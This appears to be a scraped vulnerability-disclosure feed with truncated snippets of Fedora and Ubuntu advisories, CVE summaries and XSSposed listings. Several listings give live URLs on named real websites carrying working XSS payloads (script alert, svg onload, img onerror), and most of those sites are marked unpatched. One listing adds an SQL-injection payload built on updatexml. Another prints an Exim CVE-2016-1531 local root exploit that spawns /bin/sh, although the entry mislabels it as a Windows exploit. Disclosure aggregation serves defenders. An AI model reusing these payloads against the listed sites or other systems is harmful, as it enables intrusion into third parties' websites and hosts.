stpaulsgallery.com XSS vulnerability

Vulnerable URL: http://www.stpaulsgallery.com/album-prints/queen-news-of-the-world-print-signed-by-brian-may-and-roger-taylor.asp?strParents=%22/%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3EID=304ID=1012 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017...

Private Data Disclosure

Overview Affected versions of express-restify-mongoose are susceptible to an information leakage vulnerability which may allow an attacker to access fields on a model even if those fields are marked as private. Proof of Concept If you have a user model that you want to protect, such as the...

Fedora 22 : tomcat-7.0.68-3.fc22 (2016-e6651efbaf)

Revert sysconfig migration changes, resolves: rhbz1311771, rhbz1311905 - Add /etc/tomcat/conf.d/ with shell expansion support, resolves rhbz1293636 ---- - Load sysconfig from tomcat.conf, resolves: rhbz1311771, rhbz1311905 - Set default javax.sql.DataSource factory to apache commons one, resolves...

[SECURITY] Fedora 22 Update: webkitgtk4-2.10.9-1.fc22

WebKitGTK+ is the port of the portable web rendering engine WebKit to the GTK+ platform. This package contains WebKitGTK+ for GTK+ 3...

NetIQ Self Service Password Reset Cross-Site Scripting Vulnerability

NetIQ Self Service Password Reset SSPR is a set of self-service password reset software from the American company NetIQ. A cross-site scripting vulnerability exists in NetIQ SSPR version 2.x and version 3.x prior to 3.3.1 HF2. A remote attacker can exploit this vulnerability to inject arbitrary w...

otempo.pt XSS vulnerability

Vulnerable URL: http://www.otempo.pt/s?l=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 509041 Google Pagerank| 3 VIP website...

confindustrialivorno.it XSS vulnerability

Vulnerable URL: http://www.confindustrialivorno.it/anteprima-aziende.php?id=760%22/%3E%3Csvg/onload=alert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

CVE-2016-1599

Cross-site scripting XSS vulnerability in NetIQ Self Service Password Reset SSPR 2.x and 3.x before 3.3.1 HF2 allows remote attackers to inject arbitrary web script or HTML via a crafted URL...

[SECURITY] Fedora 23 Update: krb5-1.14.1-3.fc23

Kerberos V5 is a trusted-third-party network authentication system, which can improve your network's security by eliminating the insecure practice of sending passwords over the network in unencrypted form...

techgidravlika.ru XSS vulnerability

Vulnerable URL: http://www.techgidravlika.ru/viewmenu.php?menu=%27%20or%20updatexml%280,repeat%28CHAR%280x3C,0x73,0x76,0x67,0x20,0x6F,0x6E,0x6C,0x6F,0x61,0x64,0x3D,0x61,0x6C,0x65,0x72,0x74,0x28,0x27,0x58,0x53,0x53,0x50,0x4F,0x53,0x45,0x44,0x27,0x29,0x3E%29,2%29,2%29%20or%20%27 Details: Descriptio...

Ubuntu: Security Advisory (USN-2935-3)

The remote host is missing an update for the SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

agoniarecords.com XSS vulnerability

Vulnerable URL: https://www.agoniarecords.com/index.php?pos=shop〈=' onload=alert/XSSPOSED/// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3205850 Google Pagerank| 3 VIP website...

minissdpd Denial of Service Vulnerability

minissdpd is a set of daemons for managing SSDP on Posix systems. A security vulnerability exists in minissdpd version 1.2.20130907-3, which stems from the program failing to properly handle array indexes. An attacker can exploit the vulnerability by sending invalid requests to cause a denial of...

minissdpd Free Memory Contents Vulnerability

minissdpd is a set of daemons for managing SSDP on Posix systems. A security vulnerability exists in minissdpd version 1.2.20130907-3, which stems from the program failing to properly handle code. An attacker could exploit the vulnerability to free undefined memory contents...

Design/Logic Flaw

The SMB1 implementation in smbd in Samba 3.x and 4.x before 4.1.23, 4.2.x before 4.2.9, 4.3.x before 4.3.6, and 4.4.x before 4.4.0rc4 allows remote authenticated users to modify arbitrary ACLs by using a UNIX SMB1 call to create a symlink, and then using a non-UNIX SMB1 call to write to the ACL...

Two kind of vulnerabilities, you can make a billion Android phone is to obtain Root permissions-bug warning-the black bar safety net

Trend Micro reported that billions of Android device on the discovered vulnerabilities, an attacker by a simple operation to obtain root access. Currently on the market most of the smart devices are using the Qualcomm Snapdragon SoCs system chip, according to the company's official website...

kikutani.co.jp XSS vulnerability

Vulnerable URL: http://www.kikutani.co.jp/index.php?mode=category&lv1;id=14%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 481700 Google Pagerank| 3 VIP...

klosterbrauerei.com XSS vulnerability

Vulnerable URL: https://www.klosterbrauerei.com/shop/newsletter.php?clientid=%22%20onmouseover=%22alert%28/XSSPOSED/%29//=archiv=203 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Exim 4.84-3 - Privilege Escalation

Exploit for windows platform in category local exploits !/bin/sh CVE-2016-1531 exim /tmp/root.pm EOF package root; use strict; use warnings; system"/bin/sh"; EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps 0day.today 2018-02-19...

Microsoft InfoPath Memory Corruption Vulnerability (3141806)

This host is missing an important security update according to Microsoft Bulletin MS16-029. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...